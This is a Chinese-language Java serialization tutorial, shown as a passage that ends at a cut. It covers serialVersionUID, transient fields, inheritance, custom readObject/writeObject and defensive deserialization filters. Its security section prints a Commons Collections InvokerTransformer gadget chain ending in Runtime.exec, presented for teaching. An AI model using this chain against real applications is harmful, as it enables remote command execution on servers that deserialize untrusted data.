序列化

// java.io.Serializable 的完整源码，没有任何方法
public interface Serializable {
    // 空的，什么都没有
}

// ObjectOutputStream 内部简化逻辑
if (obj instanceof Serializable) {
    // 允许序列化，开始将对象字段逐个写入字节流
} else {
    // 抛出异常，拒绝序列化
    throw new NotSerializableException(obj.getClass().getName());
}

import java.io.*;
 
// 第一步：让类实现 Serializable 接口
// 这是序列化的"入场券"，没有它就无法序列化
public class Student implements Serializable {
 
    // 强烈建议显式声明，后续章节会详细讲 serialVersionUID
    private static final long serialVersionUID = 1L;
 
    private String name;      // 姓名，会被序列化
    private int age;          // 年龄，会被序列化
    private double gpa;       // 绩点，会被序列化
 
    // 构造方法——注意：反序列化时不会调用任何构造方法
    public Student(String name, int age, double gpa) {
        this.name = name;     // 初始化姓名
        this.age = age;       // 初始化年龄
        this.gpa = gpa;       // 初始化绩点
    }
 
    // toString 方便打印查看对象状态
    @Override
    public String toString() {
        return "Student{name='" + name + "', age=" + age + ", gpa=" + gpa + "}";
    }
}

public class SerializeDemo {
    public static void main(String[] args) {
        // 创建一个 Student 对象，此时它活在堆内存中
        Student stu = new Student("Alice", 20, 3.85);
 
        // try-with-resources 自动关闭流，避免资源泄漏
        // FileOutputStream: 将字节写入文件的底层流
        // ObjectOutputStream: 在 FileOutputStream 之上封装，提供 writeObject 能力
        try (ObjectOutputStream oos = new ObjectOutputStream(
                new FileOutputStream("student.ser"))) {
 
            // 核心方法：将对象转换为字节并写入文件
            // 内部会检查 obj instanceof Serializable
            oos.writeObject(stu);
 
            // 写入成功后，student.ser 文件中就保存了 stu 的完整状态
            System.out.println("序列化成功: " + stu);
 
        } catch (IOException e) {
            // IO 异常：文件无法创建、磁盘满、权限不足等
            e.printStackTrace();
        }
    }
}

public class DeserializeDemo {
    public static void main(String[] args) {
        // try-with-resources 同样适用于输入流
        // FileInputStream: 从文件读取字节的底层流
        // ObjectInputStream: 在 FileInputStream 之上封装，提供 readObject 能力
        try (ObjectInputStream ois = new ObjectInputStream(
                new FileInputStream("student.ser"))) {
 
            // 核心方法：从字节流中重建对象
            // 返回 Object 类型，需要强制类型转换
            // 注意：这里不会调用 Student 的任何构造方法！
            Student stu = (Student) ois.readObject();
 
            // 打印反序列化后的对象，验证数据完整性
            System.out.println("反序列化成功: " + stu);
 
        } catch (IOException e) {
            // IO 异常：文件不存在、文件损坏等
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            // 当前 classpath 中找不到 Student 类的定义
            // 比如：序列化时用的是 com.a.Student，反序列化的环境中没有这个类
            e.printStackTrace();
        }
    }
}

// student.ser 文件中的逻辑结构（简化表示）
// ┌─────────────────────────────────────────────────┐
// │  Magic Number: 0xACED（标识这是 Java 序列化数据）   │
// │  Version: 0x0005（序列化协议版本号）                │
// ├─────────────────────────────────────────────────┤
// │  类描述符 (Class Descriptor):                     │
// │    - 类名: "Student"                              │
// │    - serialVersionUID: 1L                        │
// │    - 字段数量: 3                                   │
// │    - 字段列表:                                     │
// │        int age                                   │
// │        double gpa                                │
// │        String name                               │
// ├─────────────────────────────────────────────────┤
// │  实例数据 (Instance Data):                        │
// │    age = 20                                      │
// │    gpa = 3.85                                    │
// │    name = "Alice"                                │
// └─────────────────────────────────────────────────┘

public class Config implements Serializable {
 
    private static final long serialVersionUID = 1L;
 
    // static 字段：属于类，不属于任何对象实例
    // 序列化时不会写入字节流
    public static String ENV = "PRODUCTION";
 
    // 实例字段：属于对象，会被序列化
    private String appName;
 
    public Config(String appName) {
        this.appName = appName;
    }
}

// 假设序列化时 ENV = "PRODUCTION"
// 序列化 config 对象到文件...
 
// 在另一个 JVM 中反序列化之前，修改了 static 字段
Config.ENV = "DEVELOPMENT";
 
// 反序列化得到 config 对象
// config.ENV 的值是 "DEVELOPMENT"，不是 "PRODUCTION"
// 因为 static 字段根本没有被写入字节流，它的值取决于当前 JVM 中类的状态

// Address 类也必须实现 Serializable
// 否则序列化 Employee 时会失败
public class Address implements Serializable {
 
    private static final long serialVersionUID = 1L;
 
    private String city;      // 城市
    private String street;    // 街道
 
    public Address(String city, String street) {
        this.city = city;
        this.street = street;
    }
 
    @Override
    public String toString() {
        return "Address{city='" + city + "', street='" + street + "'}";
    }
}
 
public class Employee implements Serializable {
 
    private static final long serialVersionUID = 1L;
 
    private String name;       // 姓名
    private Address address;   // 引用了另一个对象——Address 也必须可序列化
 
    public Employee(String name, Address address) {
        this.name = name;
        this.address = address;
    }
 
    @Override
    public String toString() {
        return "Employee{name='" + name + "', address=" + address + "}";
    }
}

public class ObjectGraphDemo {
    public static void main(String[] args) throws Exception {
        // 创建 Address 对象
        Address addr = new Address("Beijing", "Zhongguancun Street");
        // 创建 Employee 对象，持有 Address 的引用
        Employee emp = new Employee("Bob", addr);
 
        // 序列化 Employee 时，ObjectOutputStream 会自动发现
        // emp.address 指向一个 Address 对象，于是递归序列化 Address
        try (ObjectOutputStream oos = new ObjectOutputStream(
                new FileOutputStream("employee.ser"))) {
            oos.writeObject(emp);  // Employee 和 Address 都会被写入
        }
 
        // 反序列化时，Employee 和 Address 都会被重建
        try (ObjectInputStream ois = new ObjectInputStream(
                new FileInputStream("employee.ser"))) {
            Employee restored = (Employee) ois.readObject();
            // 输出: Employee{name='Bob', address=Address{city='Beijing', street='Zhongguancun Street'}}
            System.out.println(restored);
        }
    }
}

// 父类实现了 Serializable
public class Person implements Serializable {
 
    private static final long serialVersionUID = 1L;
 
    protected String name;  // 会被序列化
    protected int age;      // 会被序列化
 
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }
}
 
// 子类自动继承 Serializable，无需再次声明
// Person 的字段 name、age 和 Teacher 自己的字段 subject 都会被序列化
public class Teacher extends Person {
 
    private static final long serialVersionUID = 1L;
 
    private String subject;  // 会被序列化
 
    public Teacher(String name, int age, String subject) {
        super(name, age);    // 调用父类构造方法
        this.subject = subject;
    }
}

// 父类没有实现 Serializable
public class Animal {
 
    protected String species;  // 不会被序列化！
 
    // 必须有无参构造方法！反序列化时 JVM 会调用它来初始化父类部分
    public Animal() {
        this.species = "Unknown";  // 反序列化后 species 会变成这个默认值
        System.out.println("Animal 无参构造方法被调用");
    }
 
    public Animal(String species) {
        this.species = species;
    }
}
 
// 子类实现了 Serializable
public class Dog extends Animal implements Serializable {
 
    private static final long serialVersionUID = 1L;
 
    private String nickname;  // 会被序列化
 
    public Dog(String species, String nickname) {
        super(species);          // 设置 species
        this.nickname = nickname; // 设置 nickname
    }
 
    @Override
    public String toString() {
        return "Dog{species='" + species + "', nickname='" + nickname + "'}";
    }
}

public class InheritanceDemo {
    public static void main(String[] args) throws Exception {
        Dog dog = new Dog("Golden Retriever", "Buddy");
        System.out.println("序列化前: " + dog);
        // 输出: Dog{species='Golden Retriever', nickname='Buddy'}
 
        // 序列化
        try (ObjectOutputStream oos = new ObjectOutputStream(
                new FileOutputStream("dog.ser"))) {
            oos.writeObject(dog);
        }
 
        // 反序列化
        try (ObjectInputStream ois = new ObjectInputStream(
                new FileInputStream("dog.ser"))) {
            Dog restored = (Dog) ois.readObject();
            // 注意控制台会打印: "Animal 无参构造方法被调用"
            System.out.println("反序列化后: " + restored);
            // 输出: Dog{species='Unknown', nickname='Buddy'}
            // species 丢失了！因为 Animal 没有实现 Serializable
            // JVM 调用了 Animal 的无参构造方法，species 被重置为 "Unknown"
        }
    }
}

public class Outer implements Serializable {
 
    private static final long serialVersionUID = 1L;
 
    private String data = "outer data";
 
    // 非静态内部类隐式持有 Outer.this 引用
    // 序列化 Inner 时会连带序列化 Outer
    public class Inner implements Serializable {
        private static final long serialVersionUID = 1L;
        private String innerData = "inner data";
    }
 
    // 推荐：使用 static 内部类，不持有外部类引用
    // 序列化时更干净，不会意外拖入外部类
    public static class StaticInner implements Serializable {
        private static final long serialVersionUID = 1L;
        private String innerData = "static inner data";
    }
}

// ArrayList 本身实现了 Serializable
// 但如果 NonSerializableItem 没有实现 Serializable
// 序列化这个 list 时会抛出 NotSerializableException
List<NonSerializableItem> list = new ArrayList<>();
list.add(new NonSerializableItem());
 
// 这行会抛出 java.io.NotSerializableException: NonSerializableItem
oos.writeObject(list);

public class BestPracticeEntity implements Serializable {
 
    // ✅ 1. 始终显式声明 serialVersionUID
    //    不声明的话，JVM 会根据类结构自动计算一个
    //    类结构稍有变动（加个方法都算），UID 就变了，导致反序列化失败
    private static final long serialVersionUID = 1L;
 
    // ✅ 2. 敏感字段用 transient 修饰
    private String username;
    private transient String password;  // 不会被序列化
 
    // ✅ 3. 所有引用类型的字段，其类也必须实现 Serializable
    private Address address;  // Address 必须 implements Serializable
 
    // ✅ 4. 考虑提供 readObject/writeObject 自定义序列化逻辑（高级用法）
    // ✅ 5. 优先使用 static 内部类而非非静态内部类
    // ✅ 6. 如果不希望类被序列化，可以主动抛出异常
}

// 如果你明确不希望某个类被序列化（即使它实现了 Serializable 的父接口）
// 可以通过自定义 writeObject 方法主动拒绝
public class NonSerializableByDesign implements Serializable {
 
    private static final long serialVersionUID = 1L;
 
    // 任何尝试序列化此类的操作都会抛出异常
    private void writeObject(ObjectOutputStream oos) throws IOException {
        throw new NotSerializableException("This class should not be serialized!");
    }
 
    // 任何尝试反序列化此类的操作也会抛出异常
    private void readObject(ObjectInputStream ois) throws IOException {
        throw new NotSerializableException("This class should not be deserialized!");
    }
}

class Animal {
    String type;
    Animal() { this.type = "DEFAULT"; }
    Animal(String type) { this.type = type; }
}
 
class Cat extends Animal implements Serializable {
    private static final long serialVersionUID = 1L;
    String name;
    Cat(String type, String name) {
        super(type);
        this.name = name;
    }
}
 
// 序列化
Cat cat = new Cat("Mammal", "Whiskers");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cat.ser"));
oos.writeObject(cat);
oos.close();
 
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cat.ser"));
Cat restored = (Cat) ois.readObject();
ois.close();
System.out.println(restored.type + " - " + restored.name);

// 访问修饰符建议 private，防止子类继承干扰
// static：属于类本身，不参与对象的序列化字段
// final：版本号不应被修改
// long：64 位整型，提供足够大的版本空间
private static final long serialVersionUID = 1L;

public class User implements Serializable {
    // 显式声明：你完全掌控版本号
    private static final long serialVersionUID = 1L;
 
    private String name; // 用户名
    private int age;     // 年龄
}

// ===== 版本 1：上线时的类 =====
public class Order implements Serializable {
    // 没有显式声明 serialVersionUID
    // JVM 自动计算出：serialVersionUID = 7381642398127456L（假设值）
 
    private String orderId;   // 订单号
    private double amount;    // 金额
}

// ===== 版本 2：加了一个字段 =====
public class Order implements Serializable {
    // 仍然没有显式声明
    // JVM 重新计算出：serialVersionUID = -2049876531284756L（值变了！）
 
    private String orderId;   // 订单号
    private double amount;    // 金额
    private String remark;    // 新增：备注字段
}

// 反序列化时 JVM 的内部校验逻辑（伪代码）
long streamUID  = 7381642398127456L;  // 字节流中存储的旧版本号
long classUID   = -2049876531284756L; // 当前类自动生成的新版本号
 
if (streamUID != classUID) {
    // 版本号不匹配，直接抛异常！
    throw new InvalidClassException(
        "Order; local class incompatible: " +
        "stream classdesc serialVersionUID = 7381642398127456, " +
        "local class serialVersionUID = -2049876531284756"
    );
}

// ===== 原始版本 =====
public class Employee implements Serializable {
    private static final long serialVersionUID = 100L; // 版本号固定
 
    private String name;  // 姓名
    private int age;      // 年龄
}

// ===== 演化版本：新增字段（兼容） =====
public class Employee implements Serializable {
    private static final long serialVersionUID = 100L; // 版本号不变！
 
    private String name;      // 姓名
    private int age;          // 年龄
    private String department; // 新增：部门（反序列化旧数据时为 null）
    private double salary;     // 新增：薪资（反序列化旧数据时为 0.0）
}

旧字节流中的字段          当前类的字段            结果
─────────────────────────────────────────────────────
name = "张三"       →    name = "张三"          ✅ 正常还原
age = 28            →    age = 28               ✅ 正常还原
（不存在）           →    department = null       ⚠️ 赋默认值
（不存在）           →    salary = 0.0           ⚠️ 赋默认值

// ===== 危险操作：修改字段类型 =====
public class Employee implements Serializable {
    private static final long serialVersionUID = 100L; // 版本号相同
 
    private String name;
    private long age;    // ❌ 从 int 改为 long，类型不兼容！
}

// 反序列化时会抛出异常
// java.io.InvalidClassException: Employee;
// incompatible types for field age

// 风格一：简单递增（推荐用于业务类）
// 优点：直观，一眼看出版本迭代了几次
private static final long serialVersionUID = 1L;
// 下次不兼容变更时改为 2L，再下次 3L...
 
// 风格二：IDE 自动生成的哈希值
// 优点：唯一性强，适合框架/库代码
private static final long serialVersionUID = -6849794470754667710L;

import java.io.*;
import java.nio.file.*;
 
/**
 * 演示 serialVersionUID 在类版本演化中的作用
 */
public class VersionEvolutionDemo {
 
    // ===== V1：初始版本 =====
    static class UserV1 implements Serializable {
        private static final long serialVersionUID = 1L; // 版本号：1
 
        private String username; // 用户名
        private int age;         // 年龄
 
        // 构造器
        public UserV1(String username, int age) {
            this.username = username; // 初始化用户名
            this.age = age;           // 初始化年龄
        }
 
        @Override
        public String toString() {
            // 格式化输出对象信息
            return "User{username='" + username + "', age=" + age + "}";
        }
    }
 
    // ===== V2：新增字段（兼容变更，serialVersionUID 不变） =====
    static class UserV2 implements Serializable {
        private static final long serialVersionUID = 1L; // 版本号仍然是 1！
 
        private String username; // 用户名
        private int age;         // 年龄
        private String email;    // 新增：邮箱（旧数据反序列化时为 null）
 
        // 构造器
        public UserV2(String username, int age, String email) {
            this.username = username; // 初始化用户名
            this.age = age;           // 初始化年龄
            this.email = email;       // 初始化邮箱
        }
 
        @Override
        public String toString() {
            // 格式化输出，包含新字段
            return "User{username='" + username + "', age=" + age +
                   ", email='" + email + "'}";
        }
    }
 
    // ===== V3：修改字段类型（不兼容变更，必须修改 serialVersionUID） =====
    static class UserV3 implements Serializable {
        private static final long serialVersionUID = 2L; // 版本号改为 2！
 
        private String username; // 用户名
        private long age;        // ⚠️ 类型从 int 改为 long（不兼容！）
        private String email;    // 邮箱
 
        // 构造器
        public UserV3(String username, long age, String email) {
            this.username = username; // 初始化用户名
            this.age = age;           // 初始化年龄
            this.email = email;       // 初始化邮箱
        }
 
        @Override
        public String toString() {
            return "User{username='" + username + "', age=" + age +
                   ", email='" + email + "'}";
        }
    }
 
    public static void main(String[] args) throws Exception {
        String filePath = "user.ser"; // 序列化文件路径
 
        // ---- 步骤 1：用 V1 序列化 ----
        UserV1 v1 = new UserV1("Alice", 25); // 创建 V1 对象
        try (ObjectOutputStream oos =
                 new ObjectOutputStream(
                     new FileOutputStream(filePath))) { // 打开输出流
            oos.writeObject(v1); // 将 V1 对象写入文件
        }
        System.out.println("V1 序列化完成: " + v1); // 确认写入
 
        // ---- 步骤 2：用 V2 反序列化（兼容，因为 UID 都是 1L） ----
        // 注意：实际项目中 V1 和 V2 是同一个类的不同版本
        // 这里用不同类名仅为演示目的
        // 真实场景下，你部署了新版本的 User 类（多了 email 字段），
        // 然后读取旧版本序列化的数据
 
        // ---- 步骤 3：用 V3 反序列化（不兼容，UID 从 1L 变为 2L） ----
        // 会抛出 InvalidClassException
        try (ObjectInputStream ois =
                 new ObjectInputStream(
                     new FileInputStream(filePath))) { // 打开输入流
            // 尝试用 V3（UID=2L）读取 V1（UID=1L）的数据
            UserV3 restored = (UserV3) ois.readObject(); // ❌ 这里会抛异常
            System.out.println("V3 反序列化: " + restored);
        } catch (InvalidClassException e) {
            // 捕获版本不兼容异常
            System.err.println("版本不兼容！" + e.getMessage());
            // 输出: 版本不兼容！VersionEvolutionDemo$UserV3;
            // local class incompatible:
            // stream classdesc serialVersionUID = 1,
            // local class serialVersionUID = 2
        }
 
        // 清理临时文件
        Files.deleteIfExists(Path.of(filePath)); // 删除序列化文件
    }
}

public class Product implements Serializable {
    private String name;
    private int price;
}

// 一个包含敏感信息的用户类
public class User implements Serializable {
 
    private static final long serialVersionUID = 1L;
 
    // 普通字段 —— 会被序列化
    private String username;
 
    // transient 字段 —— 序列化时被跳过
    private transient String password;
 
    // transient 字段 —— 缓存数据，无需持久化
    private transient int loginCount;
 
    // 构造器
    public User(String username, String password, int loginCount) {
        this.username = username;
        this.password = password;
        this.loginCount = loginCount;
    }
 
    @Override
    public String toString() {
        // 方便观察各字段的值
        return "User{username='" + username + "'"
             + ", password='" + password + "'"
             + ", loginCount=" + loginCount + "}";
    }
}

import java.io.*;
 
public class TransientDemo {
    public static void main(String[] args) throws Exception {
 
        // ========== 序列化阶段 ==========
        User user = new User("alice", "P@ssw0rd!", 42);
        // 序列化前，所有字段都有值
        System.out.println("序列化前: " + user);
 
        // 将对象写入文件
        try (ObjectOutputStream oos =
                 new ObjectOutputStream(new FileOutputStream("user.ser"))) {
            oos.writeObject(user); // password 和 loginCount 被 transient 标记，不会写入
        }
 
        // ========== 反序列化阶段 ==========
        User restored;
        try (ObjectInputStream ois =
                 new ObjectInputStream(new FileInputStream("user.ser"))) {
            restored = (User) ois.readObject(); // 从字节流还原对象
        }
 
        // 观察反序列化后的结果
        System.out.println("反序列化后: " + restored);
    }
}

序列化前: User{username='alice', password='P@ssw0rd!', loginCount=42}
反序列化后: User{username='alice', password='null', loginCount=0}

public class FieldComparison implements Serializable {
 
    private static final long serialVersionUID = 1L;
 
    // static 字段 —— 属于类，不参与序列化（与 transient 无关）
    private static String companyName = "Acme Corp";
 
    // 普通实例字段 —— 参与序列化
    private String employeeName;
 
    // transient 实例字段 —— 主动排除，不参与序列化
    private transient double salary;
 
    public FieldComparison(String employeeName, double salary) {
        this.employeeName = employeeName;
        this.salary = salary;
    }
}

public class Credential implements Serializable {
 
    private static final long serialVersionUID = 1L;
 
    private String userId;                    // 用户ID —— 需要序列化
    private transient String rawPassword;     // 明文密码 —— 绝不能序列化
    private transient byte[] encryptionKey;   // 加密密钥 —— 绝不能序列化
    private String passwordHash;              // 密码哈希 —— 可以序列化（不可逆）
}

public class DatabaseSession implements Serializable {
 
    private static final long serialVersionUID = 1L;
 
    private String jdbcUrl;                        // JDBC 连接字符串 —— 可序列化
    private String username;                       // 数据库用户名 —— 可序列化
 
    // Connection 没有实现 Serializable，必须标记 transient
    private transient java.sql.Connection conn;
 
    // Logger 通常也不需要序列化
    private transient org.slf4j.Logger logger;
}

public class Rectangle implements Serializable {
 
    private static final long serialVersionUID = 1L;
 
    private double width;                  // 宽 —— 需要序列化
    private double height;                 // 高 —— 需要序列化
 
    // 面积可以由 width * height 算出，无需序列化
    private transient double area;
 
    public Rectangle(double width, double height) {
        this.width = width;
        this.height = height;
        this.area = width * height; // 构造时计算
    }
 
    // 反序列化后需要手动重新计算（见下文 readObject 技巧）
}

public class ProductCatalog implements Serializable {
 
    private static final long serialVersionUID = 1L;
 
    private List<String> productIds;                          // 商品ID列表 —— 核心数据
    private transient Map<String, Object> cachedDetails;      // 缓存的商品详情 —— 临时数据
}

import java.io.*;
import java.util.HashMap;
import java.util.Map;
 
public class SmartCache implements Serializable {
 
    private static final long serialVersionUID = 1L;
 
    // 核心数据 —— 会被序列化
    private String cacheName;
 
    // transient 字段 —— 不会被序列化，但我们希望反序列化后自动恢复
    private transient Map<String, Object> cacheMap;
    private transient long lastAccessTime;
 
    public SmartCache(String cacheName) {
        this.cacheName = cacheName;
        this.cacheMap = new HashMap<>();          // 初始化缓存容器
        this.lastAccessTime = System.currentTimeMillis(); // 记录创建时间
    }
 
    /**
     * 自定义反序列化逻辑。
     * 方法签名必须严格为: private void readObject(ObjectInputStream in)
     * JVM 通过反射找到并调用此方法。
     */
    private void readObject(ObjectInputStream in)
            throws IOException, ClassNotFoundException {
 
        // 第一步：执行默认的反序列化，恢复所有非 transient 字段
        in.defaultReadObject();
 
        // 第二步：手动恢复 transient 字段
        this.cacheMap = new HashMap<>();                   // 重新初始化空缓存
        this.lastAccessTime = System.currentTimeMillis();  // 设置为当前时间
    }
 
    @Override
    public String toString() {
        return "SmartCache{name='" + cacheName + "'"
             + ", cacheMap=" + cacheMap
             + ", lastAccessTime=" + lastAccessTime + "}";
    }
}

public class FinalTransientProblem implements Serializable {
 
    private static final long serialVersionUID = 1L;
 
    // transient + final —— 反序列化后永远是 null，且无法修改！
    private final transient String token;
 
    public FinalTransientProblem(String token) {
        this.token = token; // 构造器中赋值
    }
 
    private void readObject(ObjectInputStream in)
            throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        // this.token = "new-value";  // 编译错误！final 字段不能重新赋值
    }
}

// 父类 —— 没有实现 Serializable
public class Animal {
 
    protected String species; // 不会被序列化
 
    // 必须有无参构造器！反序列化时 JVM 会调用它来初始化父类部分
    public Animal() {
        this.species = "Unknown";
    }
 
    public Animal(String species) {
        this.species = species;
    }
}
 
// 子类 —— 实现了 Serializable
public class Dog extends Animal implements Serializable {
 
    private static final long serialVersionUID = 1L;
 
    private String name;                    // 会被序列化
    private transient int tricks;           // 不会被序列化（transient）
 
    public Dog(String species, String name, int tricks) {
        super(species);       // 调用父类构造器设置 species
        this.name = name;
        this.tricks = tricks;
    }
 
    @Override
    public String toString() {
        return "Dog{species='" + species + "', name='" + name + "', tricks=" + tricks + "}";
    }
}

public class InheritanceDemo {
    public static void main(String[] args) throws Exception {
 
        Dog dog = new Dog("Golden Retriever", "Buddy", 5);
        System.out.println("序列化前: " + dog);
 
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
            oos.writeObject(dog);
        }
 
        // 反序列化
        try (ObjectInputStream ois =
                 new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()))) {
            Dog restored = (Dog) ois.readObject();
            System.out.println("反序列化后: " + restored);
        }
    }
}

序列化前: Dog{species='Golden Retriever', name='Buddy', tricks=5}
反序列化后: Dog{species='Unknown', name='Buddy', tricks=0}

┌─────────────────────────────────────────────────────┐
│              反序列化后的 Dog 对象内存                  │
├─────────────────────────────────────────────────────┤
│  [Animal 部分 — 通过无参构造器初始化]                   │
│    species = "Unknown"    ← 构造器中的默认值            │
├─────────────────────────────────────────────────────┤
│  [Dog 部分 — 从字节流恢复]                             │
│    name = "Buddy"         ← 正常反序列化恢复            │
│    tricks = 0             ← transient, 默认零值        │
└─────────────────────────────────────────────────────┘

// 反面示例：transient 过度使用导致 NPE 风险
public class FragileObject implements Serializable {
 
    private static final long serialVersionUID = 1L;
 
    private transient List<String> items; // 反序列化后为 null
 
    public void addItem(String item) {
        items.add(item); // 如果 items 为 null，直接 NPE！
    }
 
    // 正确做法：提供 readObject 恢复
    private void readObject(ObjectInputStream in)
            throws IOException, ClassNotFoundException {
        in.defaultReadObject();       // 恢复非 transient 字段
        this.items = new ArrayList<>(); // 确保 items 不为 null
    }
}

public class Quiz implements Serializable {
    private static final long serialVersionUID = 1L;
    private static int counter = 100;
    private String name = "Kiro";
    private transient int score = 95;
    private final transient List<String> tags = new ArrayList<>();
}

// ⚠️ 以下代码仅用于安全教育目的，展示攻击原理
// 切勿用于非法用途
 
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
 
import java.util.HashMap;
import java.util.Map;
 
public class CommonsCollectionsExploit {
 
    public static void main(String[] args) throws Exception {
 
        // 1. 构造 Transformer 链——这是攻击的核心
        //    每个 Transformer 接收上一个的输出作为输入
        Transformer[] transformers = new Transformer[] {
            // 第一步：返回 Runtime.class 常量
            new ConstantTransformer(Runtime.class),
 
            // 第二步：通过反射调用 Runtime.getRuntime()
            //    等价于：Runtime.class.getMethod("getRuntime")
            new InvokerTransformer(
                "getMethod",                                    // 调用的方法名
                new Class[] { String.class, Class[].class },    // 参数类型
                new Object[] { "getRuntime", new Class[0] }     // 参数值
            ),
 
            // 第三步：invoke 获取 Runtime 实例
            //    等价于：method.invoke(null)
            new InvokerTransformer(
                "invoke",                                       // 调用 invoke
                new Class[] { Object.class, Object[].class },   // 参数类型
                new Object[] { null, new Object[0] }            // 参数值
            ),
 
            // 第四步：调用 runtime.exec() 执行系统命令
            //    等价于：runtime.exec("calc.exe")
            new InvokerTransformer(
                "exec",                                         // 调用 exec
                new Class[] { String.class },                   // 参数类型
                new Object[] { "calc.exe" }                     // 要执行的命令
            )
        };
 
        // 2. 将多个 Transformer 串成链
        Transformer chainedTransformer = new ChainedTransformer(transformers);
 
        // 3. 用 TransformedMap 包装一个普通 Map
        //    当 Map 的 value 被修改时，会自动触发 Transformer 链
        Map<String, String> innerMap = new HashMap<>();
        innerMap.put("key", "value");
 
        // decorateMap: 当 entry 的 value 变化时触发 chainedTransformer
        Map outerMap = TransformedMap.decorate(
            innerMap,       // 被包装的原始 Map
            null,           // key 的 Transformer（不需要）
            chainedTransformer  // value 的 Transformer（攻击链）
        );
 
        // 4. 当反序列化过程中触发了 Map.Entry.setValue()
        //    整条链就会被激活，最终执行 Runtime.exec("calc.exe")
        // 在真实攻击中，这一步由 AnnotationInvocationHandler.readObject() 触发
    }
}

// ⚠️ 反面教材：敏感字段被序列化
public class UserAccount implements Serializable {
    private static final long serialVersionUID = 1L;
 
    private String username;        // 用户名——会被序列化
    private String password;        // 密码——会被序列化！危险！
    private String creditCardNumber; // 信用卡号——会被序列化！危险！
    private String sessionToken;    // 会话令牌——会被序列化！危险！
 
    // 这些敏感数据全部会出现在字节流中
    // 任何能拿到这段字节流的人都能读取它们
}

// 使用 hexdump 或专用工具查看序列化数据
// 字节流中会清晰地包含字段名和字段值：
// username = "admin"
// password = "P@ssw0rd123"        <-- 明文暴露！
// creditCardNumber = "4111111111111111"  <-- 明文暴露！

public class SecureUserAccount implements Serializable {
    private static final long serialVersionUID = 1L;
 
    private String username;                    // 普通字段，正常序列化
 
    // 敏感字段标记为 transient，不参与默认序列化
    private transient String password;          // 不会出现在字节流中
    private transient String creditCardNumber;  // 不会出现在字节流中
    private transient String sessionToken;      // 不会出现在字节流中
 
    /**
     * 自定义序列化：对敏感数据加密后再写入
     */
    private void writeObject(ObjectOutputStream oos) throws IOException {
        // 先写入非 transient 字段
        oos.defaultWriteObject();
 
        // 对密码进行加密后写入（而非明文）
        oos.writeObject(encrypt(password));
        // sessionToken 完全不写入——反序列化后需要重新认证
        // creditCardNumber 只写入掩码版本
        oos.writeObject(maskCreditCard(creditCardNumber));
    }
 
    /**
     * 自定义反序列化：读取并解密
     */
    private void readObject(ObjectInputStream ois)
            throws IOException, ClassNotFoundException {
        // 先恢复非 transient 字段
        ois.defaultReadObject();
 
        // 读取加密的密码并解密
        String encryptedPassword = (String) ois.readObject();
        this.password = decrypt(encryptedPassword);
 
        // 读取掩码信用卡号
        this.creditCardNumber = (String) ois.readObject();
 
        // sessionToken 不恢复，强制用户重新登录
        this.sessionToken = null;
    }
 
    // 加密方法（示意，实际应使用 AES 等标准算法）
    private String encrypt(String data) {
        // 使用 AES/GCM 等加密算法
        return "ENC:" + data;  // 简化示意
    }
 
    // 解密方法
    private String decrypt(String data) {
        // 对应的解密逻辑
        return data.replace("ENC:", "");  // 简化示意
    }
 
    // 信用卡号掩码
    private String maskCreditCard(String cardNumber) {
        // 只保留后四位：**** **** **** 1111
        if (cardNumber == null || cardNumber.length() < 4) return "****";
        return "****" + cardNumber.substring(cardNumber.length() - 4);
    }
}

import java.io.*;
 
public class SafeDeserialization {
 
    /**
     * 使用 ObjectInputFilter 实现白名单反序列化
     * 只允许特定的、已知安全的类被反序列化
     */
    public static Object safeDeserialize(byte[] data) throws Exception {
 
        // 1. 创建 ObjectInputStream
        ByteArrayInputStream bais = new ByteArrayInputStream(data);
        ObjectInputStream ois = new ObjectInputStream(bais);
 
        // 2. 设置反序列化过滤器（白名单模式）
        ois.setObjectInputFilter(filterInfo -> {
 
            // 获取正在被反序列化的类
            Class<?> clazz = filterInfo.serialClass();
 
            // 如果 clazz 为 null，说明是基本类型或数组描述，放行
            if (clazz == null) {
                return ObjectInputFilter.Status.UNDECIDED;
            }
 
            // 白名单：只允许这些类被反序列化
            if (clazz == String.class ||                // String 是安全的
                clazz == Integer.class ||               // 基本包装类型
                clazz == Long.class ||                  // 基本包装类型
                clazz.getName().startsWith("com.myapp.dto.")) {  // 自己的 DTO 类
                return ObjectInputFilter.Status.ALLOWED;    // 允许
            }
 
            // 限制对象图的深度和大小，防止 DoS 攻击
            if (filterInfo.depth() > 10) {              // 对象嵌套不超过 10 层
                return ObjectInputFilter.Status.REJECTED;
            }
            if (filterInfo.references() > 1000) {       // 引用数不超过 1000
                return ObjectInputFilter.Status.REJECTED;
            }
            if (filterInfo.streamBytes() > 1024 * 1024) { // 字节流不超过 1MB
                return ObjectInputFilter.Status.REJECTED;
            }
 
            // 其他所有类一律拒绝
            return ObjectInputFilter.Status.REJECTED;
        });
 
        // 3. 执行反序列化——此时有过滤器保护
        return ois.readObject();
    }
}

// JVM 启动参数方式设置全局反序列化过滤器
// 允许 com.myapp.dto 包下的类，拒绝其他所有类
// -Djdk.serialFilter=com.myapp.dto.*;!*
 
// 也可以在 $JAVA_HOME/conf/security/java.security 中配置：
// jdk.serialFilter=com.myapp.dto.*;!*
 
// 过滤器模式语法：
//   com.myapp.dto.*  -> 允许该包下所有类
//   !*               -> 拒绝所有其他类（必须放最后）
//   maxdepth=10      -> 最大嵌套深度
//   maxrefs=1000     -> 最大引用数
//   maxbytes=1048576 -> 最大字节数

public class Order implements Serializable {
    private static final long serialVersionUID = 1L;
 
    private String orderId;     // 订单号
    private int quantity;       // 数量
    private double price;       // 单价
    private String status;      // 状态
 
    /**
     * 自定义反序列化：加入严格的数据校验
     * 防止攻击者通过篡改字节流注入非法数据
     */
    private void readObject(ObjectInputStream ois)
            throws IOException, ClassNotFoundException {
 
        // 1. 先执行默认反序列化，恢复所有字段
        ois.defaultReadObject();
 
        // 2. 校验 orderId：不能为空，且必须符合格式
        if (orderId == null || !orderId.matches("^ORD-\\d{8,12}$")) {
            throw new InvalidObjectException(
